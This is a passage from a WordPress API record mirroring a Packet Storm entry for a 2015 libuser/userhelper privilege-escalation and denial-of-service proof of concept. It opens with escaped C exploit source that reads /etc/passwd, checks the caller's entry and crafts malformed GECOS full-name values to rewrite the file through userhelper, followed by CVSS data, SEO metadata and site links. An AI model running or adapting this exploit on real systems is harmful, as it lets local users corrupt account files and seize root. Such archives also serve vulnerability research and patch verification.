const size_t contents_len = strlen(contents);\\n         if (contents_len \\u003c passwd_fsize) die();\\n         if (contents_len \\u003c= fullname_off) die();\\n     \\n         char *const fullname = contents + fullname_off;\\n         if (memcmp(fullname &#8211; before_fullname_len,\\n              before_fullname, before_fullname_len) != 0) die();\\n     \\n         const char *rest = strchr(fullname, &#8216;\\\\n&#8217;);\\n         if (rest == NULL) die();\\n         rest++;\\n     \\n         const ssize_t fullname_len = (rest &#8211; fullname) &#8211; after_fullname_len;\\n         if (fullname_len \\u003e= GECOS_LENGTH) die();\\n         if (fullname_len \\u003c 0) die();\\n     \\n         if (rest[-1] != &#8216;\\\\n&#8217;) die();\\n         generate_fullname(fullname, fullname_len, c);\\n         memcpy(fullname + fullname_len, after_fullname, after_fullname_len);\\n         if (rest[-1] != &#8216;\\\\n&#8217;) die();\\n     \\n         if (memcmp(rest &#8211; after_fullname_len,\\n           after_fullname, after_fullname_len) != 0) die();\\n     \\n         size_t offset;\\n         for (offset = fullname_off; offset \\u003c contents_len; offset++) {\\n     \\n             const char x = contents[offset];\\n             if (x == &#8216;\\\\0&#8217;) die();\\n             if (is_user_wildcard) {\\n                 if (strchr(candidate_users, x) == NULL) continue;\\n                 superuser_elect = x;\\n             } else {\\n                 if (x != c) continue;\\n             }\\n     \\n             const ssize_t new_fullname_len = fullname_len + (target &#8211; offset);\\n             if (new_fullname_len \\u003c 0) continue; \/* gecos_size() \\u003e GECOS_LENGTH *\/\\n             if (4 + new_fullname_len + siteinfo_len + 1 \\u003e GECOS_LENGTH) continue;\\n     \\n             if (offset \\u003c fullname_off + fullname_len) {\\n                 if (offset != fullname_off + fullname_len-1) die();\\n                 if (new_fullname_len == 0) continue;\\n             }\\n             if (offset \\u003e= contents_len-1) {\\n                 if (offset != contents_len-1) die();\\n                 if (fsizelim != RLIM_INFINITY) continue;\\n             }\\n     \\n             { char *const new_contents = xmalloc(contents_len+1 + GECOS_LENGTH);\\n     \\n             memcpy(new_contents, contents, fullname_off);\\n             generate_fullname(new_contents + fullname_off, new_fullname_len, c);\\n             memcpy(new_contents + fullname_off + new_fullname_len,\\n                        contents + fullname_off + fullname_len,\\n                        contents_len+1 &#8211; (fullname_off + fullname_len));\\n     \\n             if (strlen(new_contents) != contents_len +\\n                     (new_fullname_len &#8211; fullname_len)) die();\\n     \\n             if (fsizelim != RLIM_INFINITY) {\\n                 if (fsizelim \\u003e= strlen(new_contents)) die();\\n                 if (fsizelim \\u003e= contents_len) die();\\n                 memcpy(new_contents + fsizelim,\\n                            contents + fsizelim,\\n                            contents_len+1 &#8211; fsizelim);\\n             }\\n     \\n             const int err = generate_userhelper(a, i-1, new_contents);\\n             free(new_contents);\\n             if (err \\u003c 0) continue; }\\n     \\n             if (i \\u003e= GECOS_LENGTH) die();\\n             struct userhelper *const uh = \\u0026userhelpers[i];\\n             memset(uh, 0, sizeof(*uh));\\n     \\n             uh-\\u003efsizelim = fsizelim;\\n             if (new_fullname_len \\u003e= GECOS_LENGTH) die();\\n             generate_fullname(uh-\\u003egecos.full_name, new_fullname_len, c);\\n             return 0;\\n         }\\n         return -1;\\n     }\\n     \\n     static int\\n     generate_userhelpers(const char *const _a)\\n     {\\n         char a[GECOS_LENGTH];\\n         if (_a == NULL) die();\\n         const int n = xsnprintf(a, sizeof(a), \\&#8221;\\\\n%s\\\\n\\&#8221;, _a);\\n         if (n \\u003e= GECOS_LENGTH) die();\\n         if (n \\u003c= 0) die();\\n     \\n         const int fd = xopen(PASSWD, O_RDONLY);\\n         struct stat st;\\n         if (fstat(fd, \\u0026st) != 0) die();\\n         if (st.st_size \\u003e= 10*1024*1024) die();\\n         if (st.st_size \\u003c= 0) die();\\n         passwd_fsize = st.st_size;\\n     \\n         char *const contents = xmalloc(passwd_fsize + 1);\\n         if (read(fd, contents, passwd_fsize) != (ssize_t)passwd_fsize) die();\\n         xclose(fd);\\n         contents[passwd_fsize] = &#8216;\\\\0&#8217;;\\n         if (strlen(contents) != passwd_fsize) die();\\n         if (contents[passwd_fsize-1] != &#8216;\\\\n&#8217;) die();\\n     \\n         char fragment[64];\\n         xsnprintf(fragment, sizeof(fragment), \\&#8221;\\\\n%s:\\&#8221;, my.username);\\n         const char *line = strstr(contents, fragment);\\n         if (line == NULL) die();\\n         line++;\\n     \\n         const char *rest = strchr(line, &#8216;\\\\n&#8217;);\\n         if (rest == NULL) die();\\n         if (rest \\u003c= line) die();\\n         rest++;\\n     \\n         if (strcmp(_a, IS_USER_LAST) == 0) {\\n             const bool is_user_last = (*rest == &#8216;\\\\0&#8217;);\\n             free(contents);\\n             return is_user_last;\\n         }\\n     \\n         unsigned int i;\\n         const char *field = line;\\n     \\n         for (i = 0; i \\u003c= 5; i++) {\\n             const char *const field_end = strchr(field, &#8216;:&#8217;);\\n             if (field_end == NULL) die();\\n             if (field_end \\u003e= rest) die();\\n             const size_t field_len = field_end &#8211; field;\\n     \\n             switch (i) {\\n             case 0:\\n                 if (field_len != strlen(my.username)) die();\\n                 if (memcmp(field, my.username, field_len) != 0) die();\\n                 break;\\n             case 1:\\n                 if (*field != &#8216;x&#8217;) die();\\n                 break;\\n             case 2:\\n                 if (strtoimax(field, NULL, 10) != getuid()) die();\\n                 break;\\n             case 3:\\n                 if (strtoimax(field, NULL, 10) != getgid()) die();\\n                 break;\\n             case 4:\\n                 {\\n                     char assembled[GECOS_LENGTH];\\n                     xsnprintf(assembled, sizeof(assembled),\\n                                 \\&#8221;%.*s\\&#8221;, (int)field_len, field);\\n                     if (strlen(assembled) != field_len) die();\\n     \\n                     struct gecos_data gecos;\\n                     memset(\\u0026gecos, 0, sizeof(gecos));\\n                     xsnprintf(gecos.site_info, sizeof(gecos.site_info),\\n                                              \\&#8221;%s\\&#8221;, my.gecos.site_info);\\n                     if (strcmp(assembled, gecos_assemble(\\u0026gecos)) != 0) die();\\n                 }\\n     \\n                 siteinfo_len = strlen(my.gecos.site_info);\\n                 fullname_off = field &#8211; contents;\\n     \\n                 before_fullname_len = field &#8211; line;\\n                 before_fullname = xstrndup(line, before_fullname_len);\\n     \\n                 after_fullname_len = rest &#8211; field;\\n                 after_fullname = xstrndup(field, after_fullname_len);\\n                 break;\\n     \\n             case 5:\\n                 if (*field != &#8216;\/&#8217;) die();\\n                 break;\\n             default:\\n                 die();\\n             }\\n             field = field_end + 1;\\n         }\\n     \\n         const int err = generate_userhelper(a, n-1, contents);\\n     \\n         free(before_fullname), before_fullname = NULL;\\n         free(after_fullname), after_fullname = NULL;\\n         free(contents);\\n     \\n         return (err \\u003c 0) ? -1 : n;\\n     }&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/215331&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:7.2,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;AV:L\/AC:L\/Au:N\/C:C\/I:C\/A:C&#8221;,&#8221;version&#8221;:&#8221;2.0&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/215331\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-11T17:56:38&#8243;,&#8221;description&#8221;:&#8221;This is an old proof of concept from 2015 that demonstrates userhelper chfn newline filtering and libuser passwd file handling vulnerabilities&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-11T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-11T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;libuser Denial of Service \/&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,39,12,15,13,53,7,11,5],"class_list":["post-40485","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-72","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>libuser Denial of Service \/ Privilege Escalation_PACKETSTORM:215331 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=40485\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"libuser Denial of Service \/ Privilege Escalation_PACKETSTORM:215331 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-11T17:56:38&#8243;,&#8221;description&#8221;:&#8221;This is an old proof of concept from 2015 that demonstrates userhelper chfn newline filtering and libuser passwd file handling vulnerabilities&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-11T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-11T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;libuser Denial of Service \/...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=40485\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-11T12:47:34+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"25 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40485#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40485\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"libuser Denial of Service \\\/ Privilege Escalation_PACKETSTORM:215331\",\"datePublished\":\"2026-02-11T12:47:34+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40485\"},\"wordCount\":5052,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.2\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=40485#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40485\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40485\",\"name\":\"libuser Denial of Service \\\/ Privilege Escalation_PACKETSTORM:215331 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-11T12:47:34+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40485#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=40485\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40485#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"libuser Denial of Service \\\/ Privilege Escalation_PACKETSTORM:215331\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"libuser Denial of Service \/ Privilege Escalation_PACKETSTORM:215331 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=40485","og_locale":"en_US","og_type":"article","og_title":"libuser Denial of Service \/ Privilege Escalation_PACKETSTORM:215331 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-11T17:56:38&#8243;,&#8221;description&#8221;:&#8221;This is an old proof of concept from 2015 that demonstrates userhelper chfn newline filtering and libuser passwd file handling vulnerabilities&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-11T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-11T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;libuser Denial of Service \/...","og_url":"https:\/\/zero.redgem.net\/?p=40485","og_site_name":"zero redgem","article_published_time":"2026-02-11T12:47:34+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"25 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=40485#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=40485"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"libuser Denial of Service \/ Privilege Escalation_PACKETSTORM:215331","datePublished":"2026-02-11T12:47:34+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=40485"},"wordCount":5052,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.2","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=40485#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=40485","url":"https:\/\/zero.redgem.net\/?p=40485","name":"libuser Denial of Service \/ Privilege Escalation_PACKETSTORM:215331 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-11T12:47:34+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=40485#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=40485"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=40485#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"libuser Denial of Service \/ Privilege Escalation_PACKETSTORM:215331"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/40485","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=40485"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/40485\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=40485"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=40485"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=40485"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}